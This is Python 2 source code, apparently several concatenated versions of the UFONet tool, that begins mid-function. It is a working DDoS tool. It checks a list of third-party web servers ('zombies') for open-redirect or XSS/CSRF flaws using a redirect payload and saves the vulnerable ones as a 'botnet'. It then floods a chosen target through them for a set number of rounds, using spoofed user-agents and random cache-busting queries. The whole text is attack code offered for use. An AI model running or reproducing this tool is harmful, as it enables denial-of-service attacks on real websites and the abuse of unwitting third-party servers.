"Reply:", "\n\nNothing!!!!!\n" print "Zombie:", zombie print "Status: Malformed!" num_failed_zombies = num_failed_zombies + 1 print "-" * 10 print "=" * 18 print "OK:", num_active_zombies, "Fail:", num_failed_zombies print "=" * 18 if num_active_zombies == 0: print "\n[INFO] - Not any zombie active!\n" sys.exit(2) print "=" * 22 # check url parameter vectors print ("Checking for payloads:") print "=" * 22 print "Trying:", num_active_zombies print "-" * 21 zombies_ready = [] num_waiting_zombies = 0 num_disconnected_zombies = 0 for zombie in active_zombies: if self.options.search: zombie = str(zombie) t = urlparse(zombie) name_zombie = t.netloc payload_zombie = zombie print "Vector:", payload_zombie self.payload = True try: payload_reply = str(self.connect_zombies(zombie)) except: payload_reply = "" self.payload = False if "http://www.google.es" in payload_reply: # Open Redirect reply num_waiting_zombies = num_waiting_zombies + 1 print "Status:", "Waiting your orders..." zombies_ready.append(zombie) else: num_disconnected_zombies = num_disconnected_zombies + 1 print "Status:", "Not ready..." army = army + 1 print "-" * 10 print "=" * 18 print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies print "=" * 18 print "=" * 18 # list of 'zombies' ready to attack print ("Army of 'zombies'") print "=" * 18 num_active_zombie = 0 for z in zombies_ready: t = urlparse(z) name_zombie = t.netloc num_active_zombie = num_active_zombie + 1 if self.options.verbose: print "Zombie [", num_active_zombie, "]:", name_zombie print "-" * 18 print "Total Army:", num_active_zombie print "-" * 18 # update 'zombies' list if num_active_zombie == 0: print "\n[INFO] - Not any zombie active!\n" else: update_reply = raw_input("Wanna update your army (Y/n)") print "-" * 25 if update_reply == "n" or update_reply == "N": print "\nBye!\n" else: self.update_zombies(zombies_ready) print "\n[INFO] - Botnet updated! ;-)\n" def attacking(self, zombies): # Perform a DDoS Web attack against a target, using Open Redirect vectors on third party machines (aka 'zombies') target = self.options.target if target.startswith("http://") or target.startswith("https://"): print "Attacking: ", target print "=" * 55, "\n" # send Open Redirect injection reply = self.injection(target, zombies) else: print "\n[Error] - Target url not valid!\n" def injection(self, target, zombies): options = self.options head_check_here = False head_check_external = False print "=" * 21 print "Round: 'Is target up?'" print "=" * 21 # send HEAD connection self.head = True try: reply = self.connect_zombies(target) if reply: print "From here: YES" head_check_here = True else: print "From Here: NO | WARNING: Check failed from your connection ;(" head_check_here = False except Exception: print "From Here: NO | WARNING: Check failed from your connection ;(" head_check_here = False self.head = False print "-" * 21 # check target on third party service (ex: http://www.downforeveryoneorjustme.com) self.external = True try: external_reply = self.connect_zombies(target) if "It's just you" in external_reply: # parse external service for correct reply print "From exterior: YES" head_check_external = True else: print "From exterior: NO | WARNING: Check failed from external services ;(" head_check_external = False except Exception: print "From exterior: NO | WARNING: Check failed from external services ;(" head_check_external = False self.external = False print "-" * 21, "\n" # ask for start the attack if head_check_here == True or head_check_external == True: start_reply = raw_input("Your target looks ONLINE!. Wanna start a DDoS attack? (y/N)\n") print "-" * 25 if start_reply == "y" or start_reply == "Y": total_rounds = options.rounds # extract number of rounds if total_rounds <= "0": total_rounds = 1 num_round = 1 num_hits = 0 num_zombie = 1 # start to attack the target with each zombie zombies = self.extract_zombies() # extract zombies from file total_zombie = len(zombies) for i in range(0, int(total_rounds)): for zombie in zombies: print "=" * 45 print "Zombie:", num_zombie, "| Round:", num_round, "| Total:", total_rounds print "=" * 45 t = urlparse(zombie) name_zombie = t.netloc self.attack_mode = True print "Name:", name_zombie attack_reply = self.connect_zombies(zombie) print "Status: Hit!" num_hits = num_hits + 1 num_zombie = num_zombie + 1 if num_zombie > total_zombie: num_zombie = 1 print "-" * 10 num_round = num_round + 1 attack_mode = False print "=" * 21 print "Total hits:", num_hits print "=" * 21 print "\n[INFO] - Attack completed! ;-)\n" else: print "\nBye!\n" else: print "Your target looks OFFLINE!?\n" print "-" * 25 print "\nBye!\n"
class UFONet(object): def __init__(self): self.agents = [] self.agents.append('Mozilla/5.0 (iPhone; U; CPU iOS 2_0 like Mac OS X; en-us)') self.agents.append('Mozilla/5.0 (Linux; U; Android 0.5; en-us)') self.agents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)') self.agents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)') self.agents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13') self.agents.append('Opera/9.25 (Windows NT 6.0; U; en)') self.agents.append('Mozilla/2.02E (Win95; U)') self.agents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') self.agents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') self.agents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') self.agents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)') self.agents.append('(Privoxy/1.0)') self.agents.append('CERN-LineMode/2.15') self.agents.append('cg-eye interactive') self.agents.append('China Local Browser 2.6') self.agents.append('ClariaBot/1.0') self.agents.append('Comos/0.9_([email protected])') self.agents.append('*****@*****.**') self.agents.append('DonutP; Windows98SE') self.agents.append('Dr.Web (R) online scanner: http://online.drweb.com/') self.agents.append('Dragonfly File Reader') self.agents.append('Eurobot/1.0 (http://www.ayell.eu)') self.agents.append('FARK.com link verifier') self.agents.append('FavIconizer') self.agents.append('Feliz - Mixcat Crawler (+http://mixcat.com)') self.agents.append('TwitterBot (http://www.twitter.com)') self.user_agent = random.choice(self.agents).strip() self.referer = 'http://127.0.0.1/' self.head = False self.payload = False self.external = False self.attack_mode = False self.retries = '' self.delay = '' def set_options(self, options): self.options = options def create_options(self, args=None): self.optionParser = UFONetOptions() self.options = self.optionParser.get_options(args) if not self.options: return False return self.options def banner(self): print '='*75, "\n" print "888 888 8888888888 .d88888b. 888b 888 888 " print "888 888 888 d88P" "Y888b 8888b 888 888 " print "888 888 888 888 888 88888b 888 888 " print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 " print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 " print "888 888 888 888 888 888 Y88888 88888888 888 " print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. " print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888" print self.optionParser.description, "\n" print '='*75 def try_running(self, func, error, args=None): options = self.options args = args or [] try: return func(*args) except Exception as e: print(error, "error") if DEBUG: traceback.print_exc() def run(self, opts=None): if opts: options = self.create_options(opts) self.set_options(options) options = self.options # check proxy options proxy = options.proxy if options.proxy: try: pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]' m = re.search(pattern, proxy) if m is None: self.banner() print ("\n[Error] - Proxy malformed!\n") sys.exit(2) except Exception: self.banner() print ("\n[Error] - Proxy malformed!\n") sys.exit(2) # test web 'zombie' servers -> show statistics if options.test: try: self.banner() zombies = self.extract_zombies() test = self.testing(zombies) except Exception: print ("\n[Error] - Something wrong testing!\n") # attack target -> exploit CSRF massively and connect all vulnerable servers to a target if options.target: try: self.banner() zombies = self.extract_zombies() attack = self.attacking(zombies) except Exception: print ("\n[Error] - Something wrong attacking!\n") def extract_zombies(self): # extract targets from file (ex: 'zombies.txt') options = self.options if options.test: try: f = open(options.test) zombies = f.readlines() zombies = [ zombie.replace('\n','') for zombie in zombies ] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists(options.test) == True: print '\n[Error] - Cannot open:', options.test, "\n" sys.exit(2) else: print '\n[Error] - Cannot found:', options.test, "\n" sys.exit(2) else: try: f = open('zombies.txt') zombies = f.readlines() zombies = [ zombie.replace('\n','') for zombie in zombies ] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists('zombies.txt') == True: print '\n[Error] - Cannot open:', 'zombies.txt', "\n" sys.exit(2) else: print '\n[Error] - Cannot found:', 'zombies.txt', "\n" sys.exit(2) def update_zombies(self, zombies_ready): # update targets on file (ex: 'zombies.txt') options = self.options if options.test: f = open(options.test, "w") for zombie in zombies_ready: f.write(zombie + os.linesep) f.close() def connect_zombies(self, zombie): # connect zombies and manage different options: HEAD, GET, POST, # user-Agent, referer, timeout, retries, threads, delay.. options = self.options c = pycurl.Curl() if self.head == True: c.setopt(pycurl.URL, zombie) # set 'zombie' target c.setopt(pycurl.NOBODY,1) # use HEAD if self.payload == True: payload = zombie + "http://www.google.com" #XSS/CSRF payload c.setopt(pycurl.URL, payload) # set 'zombie' target c.setopt(pycurl.NOBODY,0) # use GET if self.external == True: external_service = "http://www.downforeveryoneorjustme.com/" external = external_service + options.target c.setopt(pycurl.URL, external) # external HEAD check before to attack c.setopt(pycurl.NOBODY,0) # use GET if self.attack_mode == True: if options.place: url_attack = zombie + options.target + "/"+ options.place # Use zombie vector to connect to a target's place else: url_attack = zombie + options.target # Use zombie vector to connect to original target url c.setopt(pycurl.URL, url_attack) # GET connection on target site c.setopt(pycurl.NOBODY,0) # use GET c.setopt(pycurl.HTTPHEADER, ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg', 'Connection: Keep-Alive', 'Content-type: application/x-www-form-urlencoded; charset=UTF-8']) # set fake headers c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects c.setopt(pycurl.MAXREDIRS, 10) # set max redirects c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3 c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic b = StringIO.StringIO() c.setopt(pycurl.HEADERFUNCTION, b.write) h = StringIO.StringIO() c.setopt(pycurl.WRITEFUNCTION, h.write) if options.agent: # set user-agent c.setopt(pycurl.USERAGENT, options.agent) else: c.setopt(pycurl.USERAGENT, self.user_agent) if options.referer: # set referer c.setopt(pycurl.REFERER, options.referer) else: c.setopt(pycurl.REFERER, self.referer) if options.proxy: # set proxy c.setopt(pycurl.PROXY, options.proxy) else: c.setopt(pycurl.PROXY, '') if options.timeout: # set timeout c.setopt(pycurl.TIMEOUT, options.timeout) c.setopt(pycurl.CONNECTTIMEOUT, options.timeout) else: c.setopt(pycurl.TIMEOUT, 30) c.setopt(pycurl.CONNECTTIMEOUT, 30) if options.delay: # set delay self.delay = options.delay else: self.delay = 0 if options.retries: # set retries self.retries = options.retries else: self.retries = 1 try: # try to connect c.perform() time.sleep(self.delay) except: # try retries for count in range(0, self.retries): time.sleep(self.delay) c.perform() if count == self.retries: print "\n[Error] - Imposible to connect. Aborting...\n" sys.exit(2) if self.head == True: # HEAD reply code_reply = c.getinfo(pycurl.HTTP_CODE) reply = b.getvalue() if options.verbose: print "Reply:" print "\n", reply return code_reply if self.external == True: # External reply external_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", external_reply return external_reply if self.payload == True: # Payloads reply payload_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", payload_reply return payload_reply if self.attack_mode == True: # Attack mode reply attack_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", attack_reply return attack_reply def testing(self, zombies): # test CSRF vulnerabilities on webapps and show statistics # HTTP HEAD check print ("Are 'they' alive? :-) (HEAD Check):") print '='*35 num_active_zombies = 0 num_failed_zombies = 0 active_zombies = [] army = 0 print "Trying:", len(zombies) print '-'*21 for zombie in zombies: t = urlparse(zombie) if zombie.startswith("http://") or zombie.startswith("https://"): # send HEAD connection self.head = True code_reply = str(self.connect_zombies(zombie)) self.head = False if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405": name_zombie = t.netloc print "Zombie:", name_zombie print "Status: Ok ["+ code_reply + "]" num_active_zombies = num_active_zombies + 1 active_zombies.append(zombie) elif code_reply == "404": print "Zombie:", t.netloc print "Status: Forbidden ["+ code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: print "Zombie:", t.netloc print "Status: Not Allowed ["+ code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: if self.options.verbose: print "Reply:", "\n\nNothing!!!!!\n" print "Zombie:", zombie print "Status: Malformed!" num_failed_zombies = num_failed_zombies + 1 print '-'*10 print '='*18 print "OK:", num_active_zombies, "Fail:", num_failed_zombies print '='*18 if num_active_zombies == 0: print "\n[INFO] - Update your 'zombies' list!\n" sys.exit(2) print '='*22 # check url parameter vectors print ("Checking for payloads:") print '='*22 print "Trying:", num_active_zombies print '-'*21 zombies_ready = [] num_waiting_zombies = 0 num_disconnected_zombies = 0 for zombie in active_zombies: t = urlparse(zombie) name_zombie = t.netloc payload_zombie = zombie print "Vector:", payload_zombie self.payload = True payload_reply = str(self.connect_zombies(zombie)) self.payload = False if "http://www.google.com" in payload_reply: #XSS/CSRF reply num_waiting_zombies = num_waiting_zombies + 1 print "Status:", "Waiting..." zombies_ready.append(zombie) else: num_disconnected_zombies = num_disconnected_zombies + 1 print "Status:", "Disconnected..." army = army + 1 print '-'*10 print '='*18 print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies print '='*18 print '='*18 # list of 'zombies' ready to attack print ("List of 'zombies':") print '='*18 num_active_zombie = 0 for z in zombies_ready: t = urlparse(z) name_zombie = t.netloc num_active_zombie = num_active_zombie + 1 if self.options.verbose: print "Zombie [", num_active_zombie, "]:", name_zombie print '-'*18 print "Total Army:", num_active_zombie print '-'*18 # update 'zombies' list if num_active_zombie == 0: print "\n[INFO] - You haven't any 'zombie'. Try to update your list!\n" else: update_reply = raw_input("Wanna update your list (Y/n)") print '-'*25 if update_reply == "n" or update_reply == "N": print "\nBye!\n" else: self.update_zombies(zombies_ready) print "\n[INFO] - Botnet updated! ;-)\n" def attacking(self, zombies): # Perform a DDoS Web attack against a target, using XSS/CSRF vectors on third party machines (aka 'zombies') target = self.options.target if target.startswith("http://") or target.startswith("https://"): print "Attacking: ", target print '='*55, "\n" # send XSS/CSRF injection reply = self.injection(target, zombies) else: print "\n[Error] - Target url not valid!\n" def injection(self, target, zombies): options = self.options head_check_here = False head_check_external = False print '='*21 print "Round: 'Is target up?'" print '='*21 # send HEAD connection self.head = True try: reply = self.connect_zombies(target) if reply: print "From here: YES" head_check_here = True else: print "From here: NO" head_check_here = False except Exception: print "\n[Error] - Cannot check from your connection, if target is up!\n" print "From Here: NO" head_check_here = False self.head = False print '-'*21 # check target on third party service (ex: http://www.downforeveryoneorjustme.com) self.external = True try: external_reply = self.connect_zombies(target) if "It's just you" in external_reply: # parse external service for correct reply print "From exterior: YES" head_check_external = True else: print "From exterior: NO" head_check_external = False except Exception: print "\n[Error] - Cannot check from external services, if target is up!\n" print "From exterior: NO" head_check_external = False self.external = False print '-'*21, "\n" # ask for start the attack if head_check_here == True or head_check_external == True: start_reply = raw_input("Your target looks ONLINE!. Wanna start a DDoS attack? (y/N)") print '-'*25 if start_reply == "y" or start_reply == "Y": total_rounds = options.rounds # extract number of rounds if total_rounds <= "0": total_rounds = 1 num_round = 1 num_hits = 0 num_zombie = 1 # start to attack the target with each zombie zombies = self.extract_zombies() # extract zombies from file total_zombie = len(zombies) for i in range(0, int(total_rounds)): for zombie in zombies: print '='*45 print "Zombie:", num_zombie, "| Round:", num_round, "| Total:", total_rounds print '='*45 t = urlparse(zombie) name_zombie = t.netloc self.attack_mode = True print "Name:", name_zombie attack_reply = self.connect_zombies(zombie) print "Status: Hit!" num_hits = num_hits + 1 num_zombie = num_zombie + 1 if num_zombie > total_zombie: num_zombie = 1 print '-'*10 num_round = num_round + 1 attack_mode = False print '='*21 print "Total hits:", num_hits print '='*21 print "\n[INFO] - Attack completed! ;-)\n" else: print "\nBye!\n" else: print "Your target is OFFLINE!?. Or you cannot reach it" print '-'*25 print "\nBye!\n"
class UFONet(object): def __init__(self): self.agents = [] self.agents.append('Mozilla/5.0 (iPhone; U; CPU iOS 2_0 like Mac OS X; en-us)') self.agents.append('Mozilla/5.0 (Linux; U; Android 0.5; en-us)') self.agents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)') self.agents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)') self.agents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13') self.agents.append('Opera/9.25 (Windows NT 6.0; U; en)') self.agents.append('Mozilla/2.02E (Win95; U)') self.agents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') self.agents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') self.agents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') self.agents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)') self.agents.append('(Privoxy/1.0)') self.agents.append('CERN-LineMode/2.15') self.agents.append('cg-eye interactive') self.agents.append('China Local Browser 2.6') self.agents.append('ClariaBot/1.0') self.agents.append('Comos/0.9_([email protected])') self.agents.append('*****@*****.**') self.agents.append('DonutP; Windows98SE') self.agents.append('Dr.Web (R) online scanner: http://online.drweb.com/') self.agents.append('Dragonfly File Reader') self.agents.append('Eurobot/1.0 (http://www.ayell.eu)') self.agents.append('FARK.com link verifier') self.agents.append('FavIconizer') self.agents.append('Feliz - Mixcat Crawler (+http://mixcat.com)') self.agents.append('TwitterBot (http://www.twitter.com)') self.user_agent = random.choice(self.agents).strip() self.referer = 'http://127.0.0.1/' self.head = False self.payload = False self.external = False self.attack_mode = False self.retries = '' self.delay = '' def set_options(self, options): self.options = options def create_options(self, args=None): self.optionParser = UFONetOptions() self.options = self.optionParser.get_options(args) if not self.options: return False return self.options def banner(self): print '='*75, "\n" print "888 888 8888888888 .d88888b. 888b 888 888 " print "888 888 888 d88P" "Y888b 8888b 888 888 " print "888 888 888 888 888 88888b 888 888 " print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 " print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 " print "888 888 888 888 888 888 Y88888 88888888 888 " print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. " print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888" print self.optionParser.description, "\n" print '='*75 def try_running(self, func, error, args=None): options = self.options args = args or [] try: return func(*args) except Exception as e: print(error, "error") if DEBUG: traceback.print_exc() def run(self, opts=None): if opts: options = self.create_options(opts) self.set_options(options) options = self.options # check proxy options proxy = options.proxy if options.proxy: try: pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]' m = re.search(pattern, proxy) if m is None: self.banner() print ("\n[Error] - Proxy malformed!\n") sys.exit(2) except Exception: self.banner() print ("\n[Error] - Proxy malformed!\n") sys.exit(2) # test web 'zombie' servers -> show statistics if options.test: try: self.banner() zombies = self.extract_zombies() test = self.testing(zombies) except Exception: print ("\n[Error] - Something wrong testing!\n") # attack target -> exploit CSRF massively and connect all vulnerable servers to a target if options.target: try: self.banner() zombies = self.extract_zombies() attack = self.attacking(zombies) except Exception: print ("\n[Error] - Something wrong attacking!\n") def extract_zombies(self): # extract targets from file (ex: 'zombies.txt') options = self.options if options.test: try: f = open(options.test) zombies = f.readlines() zombies = [ zombie.replace('\n','') for zombie in zombies ] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists(options.test) == True: print '\n[Error] - Cannot open:', options.test, "\n" sys.exit(2) else: print '\n[Error] - Cannot found:', options.test, "\n" sys.exit(2) else: try: f = open('zombies.txt') zombies = f.readlines() zombies = [ zombie.replace('\n','') for zombie in zombies ] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists('zombies.txt') == True: print '\n[Error] - Cannot open:', 'zombies.txt', "\n" sys.exit(2) else: print '\n[Error] - Cannot found:', 'zombies.txt', "\n" sys.exit(2) def update_zombies(self, zombies_ready): # update targets on file (ex: 'zombies.txt') options = self.options if options.test: f = open(options.test, "w") for zombie in zombies_ready: f.write(zombie + os.linesep) f.close() def connect_zombies(self, zombie): # connect zombies and manage different options: HEAD, GET, POST, # user-Agent, referer, timeout, retries, threads, delay.. options = self.options c = pycurl.Curl() if self.head == True: c.setopt(pycurl.URL, zombie) # set 'zombie' target c.setopt(pycurl.NOBODY,1) # use HEAD if self.payload == True: payload = zombie + "http://www.google.com" #XSS/CSRF payload c.setopt(pycurl.URL, payload) # set 'zombie' target c.setopt(pycurl.NOBODY,0) # use GET if self.external == True: external_service = "http://www.downforeveryoneorjustme.com/" external = external_service + options.target c.setopt(pycurl.URL, external) # external HEAD check before to attack c.setopt(pycurl.NOBODY,0) # use GET if self.attack_mode == True: if options.place: # use zombie's vector to connect to a target's place and add a random query to evade cache random_hash = random.randint(1, 100000000) url_attack = zombie + options.target + "/"+ options.place + "?" + str(random_hash) else: url_attack = zombie + options.target # Use zombie vector to connect to original target url print url_attack c.setopt(pycurl.URL, url_attack) # GET connection on target site c.setopt(pycurl.NOBODY,0) # use GET c.setopt(pycurl.HTTPHEADER, ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg', 'Connection: Keep-Alive', 'Content-type: application/x-www-form-urlencoded; charset=UTF-8', 'Cache-control: no-cache', 'Pragma: no-cache', 'Pragma-directive: no-cache', 'Cache-directive: no-cache', 'Expires: 0']) # set fake headers (important: no-cache) c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects c.setopt(pycurl.MAXREDIRS, 10) # set max redirects c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3 c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache! b = StringIO.StringIO() c.setopt(pycurl.HEADERFUNCTION, b.write) h = StringIO.StringIO() c.setopt(pycurl.WRITEFUNCTION, h.write) if options.agent: # set user-agent c.setopt(pycurl.USERAGENT, options.agent) else: c.setopt(pycurl.USERAGENT, self.user_agent) if options.referer: # set referer c.setopt(pycurl.REFERER, options.referer) else: c.setopt(pycurl.REFERER, self.referer) if options.proxy: # set proxy c.setopt(pycurl.PROXY, options.proxy) else: c.setopt(pycurl.PROXY, '') if options.timeout: # set timeout c.setopt(pycurl.TIMEOUT, options.timeout) c.setopt(pycurl.CONNECTTIMEOUT, options.timeout) else: c.setopt(pycurl.TIMEOUT, 30) c.setopt(pycurl.CONNECTTIMEOUT, 30) if options.delay: # set delay self.delay = options.delay else: self.delay = 0 if options.retries: # set retries self.retries = options.retries else: self.retries = 1 try: # try to connect c.perform() time.sleep(self.delay) except: # try retries for count in range(0, self.retries): time.sleep(self.delay) c.perform() if count == self.retries: print "\n[Error] - Imposible to connect. Aborting...\n" sys.exit(2) if self.head == True: # HEAD reply code_reply = c.getinfo(pycurl.HTTP_CODE) reply = b.getvalue() if options.verbose: print "Reply:" print "\n", reply return code_reply if self.external == True: # External reply external_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", external_reply return external_reply if self.payload == True: # Payloads reply payload_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", payload_reply return payload_reply if self.attack_mode == True: # Attack mode reply attack_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", attack_reply return attack_reply def testing(self, zombies): # test CSRF vulnerabilities on webapps and show statistics # HTTP HEAD check print ("Are 'they' alive? :-) (HEAD Check):") print '='*35 num_active_zombies = 0 num_failed_zombies = 0 active_zombies = [] army = 0 print "Trying:", len(zombies) print '-'*21 for zombie in zombies: t = urlparse(zombie) if zombie.startswith("http://") or zombie.startswith("https://"): # send HEAD connection self.head = True code_reply = str(self.connect_zombies(zombie)) self.head = False if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405": name_zombie = t.netloc print "Zombie:", name_zombie print "Status: Ok ["+ code_reply + "]" num_active_zombies = num_active_zombies + 1 active_zombies.append(zombie) elif code_reply == "404": print "Zombie:", t.netloc print "Status: Not Found ["+ code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: print "Zombie:", t.netloc print "Status: Not Allowed ["+ code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: if self.options.verbose: print "Reply:", "\n\nNothing!!!!!\n" print "Zombie:", zombie print "Status: Malformed!" num_failed_zombies = num_failed_zombies + 1 print '-'*10 print '='*18 print "OK:", num_active_zombies, "Fail:", num_failed_zombies print '='*18 if num_active_zombies == 0: print "\n[INFO] - Update your 'zombies' list!\n" sys.exit(2) print '='*22 # check url parameter vectors print ("Checking for payloads:") print '='*22 print "Trying:", num_active_zombies print '-'*21 zombies_ready = [] num_waiting_zombies = 0 num_disconnected_zombies = 0 for zombie in active_zombies: t = urlparse(zombie) name_zombie = t.netloc payload_zombie = zombie print "Vector:", payload_zombie self.payload = True payload_reply = str(self.connect_zombies(zombie)) self.payload = False if "http://www.google.com" in payload_reply: #XSS/CSRF reply num_waiting_zombies = num_waiting_zombies + 1 print "Status:", "Waiting..." zombies_ready.append(zombie) else: num_disconnected_zombies = num_disconnected_zombies + 1 print "Status:", "Disconnected..." army = army + 1 print '-'*10 print '='*18 print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies print '='*18 print '='*18 # list of 'zombies' ready to attack print ("List of 'zombies':") print '='*18 num_active_zombie = 0 for z in zombies_ready: t = urlparse(z) name_zombie = t.netloc num_active_zombie = num_active_zombie + 1 if self.options.verbose: print "Zombie [", num_active_zombie, "]:", name_zombie print '-'*18 print "Total Army:", num_active_zombie print '-'*18 # update 'zombies' list if num_active_zombie == 0: print "\n[INFO] - You haven't any 'zombie'. Try to update your list!\n" else: update_reply = raw_input("Wanna update your list (Y/n)") print '-'*25 if update_reply == "n" or update_reply == "N": print "\nBye!\n" else: self.update_zombies(zombies_ready) print "\n[INFO] - Botnet updated! ;-)\n" def attacking(self, zombies): # Perform a DDoS Web attack against a target, using XSS/CSRF vectors on third party machines (aka 'zombies') target = self.options.target if target.startswith("http://") or target.startswith("https://"): print "Attacking: ", target print '='*55, "\n" # send XSS/CSRF injection reply = self.injection(target, zombies) else: print "\n[Error] - Target url not valid!\n" def injection(self, target, zombies): options = self.options head_check_here = False head_check_external = False print '='*21 print "Round: 'Is target up?'" print '='*21 # send HEAD connection self.head = True try: reply = self.connect_zombies(target) if reply: print "From here: YES" head_check_here = True else: print "From here: NO" head_check_here = False except Exception: print "\n[Error] - Cannot check from your connection, if target is up!\n" print "From Here: NO" head_check_here = False self.head = False print '-'*21 # check target on third party service (ex: http://www.downforeveryoneorjustme.com) self.external = True try: external_reply = self.connect_zombies(target) if "It's just you" in external_reply: # parse external service for correct reply print "From exterior: YES" head_check_external = True else: print "From exterior: NO" head_check_external = False except Exception: print "\n[Error] - Cannot check from external services, if target is up!\n" print "From exterior: NO" head_check_external = False self.external = False print '-'*21, "\n" # ask for start the attack if head_check_here == True or head_check_external == True: start_reply = raw_input("Your target looks ONLINE!. Wanna start a DDoS attack? (y/N)") print '-'*25 if start_reply == "y" or start_reply == "Y": total_rounds = options.rounds # extract number of rounds if total_rounds <= "0": total_rounds = 1 num_round = 1 num_hits = 0 num_zombie = 1 # start to attack the target with each zombie zombies = self.extract_zombies() # extract zombies from file total_zombie = len(zombies) for i in range(0, int(total_rounds)): for zombie in zombies: print '='*45 print "Zombie:", num_zombie, "| Round:", num_round, "| Total:", total_rounds print '='*45 t = urlparse(zombie) name_zombie = t.netloc self.attack_mode = True print "Name:", name_zombie attack_reply = self.connect_zombies(zombie) print "Status: Hit!" num_hits = num_hits + 1 num_zombie = num_zombie + 1 if num_zombie > total_zombie: num_zombie = 1 print '-'*10 num_round = num_round + 1 attack_mode = False print '='*21 print "Total hits:", num_hits print '='*21 print "\n[INFO] - Attack completed! ;-)\n" else: print "\nBye!\n" else: print "Your target is OFFLINE!?. Or you cannot reach it" print '-'*25 print "\nBye!\n"
